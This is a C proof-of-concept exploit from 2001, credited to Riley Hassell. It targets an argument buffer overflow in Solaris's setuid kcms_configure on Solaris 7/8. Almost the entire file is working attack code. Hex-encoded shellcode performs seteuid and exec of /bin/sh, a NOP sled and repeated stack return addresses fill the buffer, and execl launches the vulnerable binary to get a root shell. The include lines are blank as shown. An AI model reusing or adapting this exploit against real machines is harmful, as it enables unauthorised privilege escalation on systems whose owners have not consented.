/* Command line argument overflow /usr/openwin/bin/kcms_configure Systems Affected: Solaris 7/8 (x86 and sparc) Proof of Concept Exploitation Riley Hassell */ #include #include #include #include #define BUFLEN 1100 /* seteuid/exec shellcode */ char shell[] = "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff" "\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff" "\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e" "\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0" "\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03" "\x03\x9a\x04\x04\x04\x04\x07\x04"; char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() { __asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); else offset = -300; nop = 600; esp = get_esp(); memset(buf, 0x90, BUFLEN); memcpy(buf+600, shell, strlen(shell)); for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4) *((int *) &buf[i]) = esp+offset; buf[BUFLEN-1] = '\0'; execl("/usr/openwin/bin/kcms_configure", "eEye","-o","-S","X",buf,NULL); return; } /* www.hack.co.za [17 April 2001]*/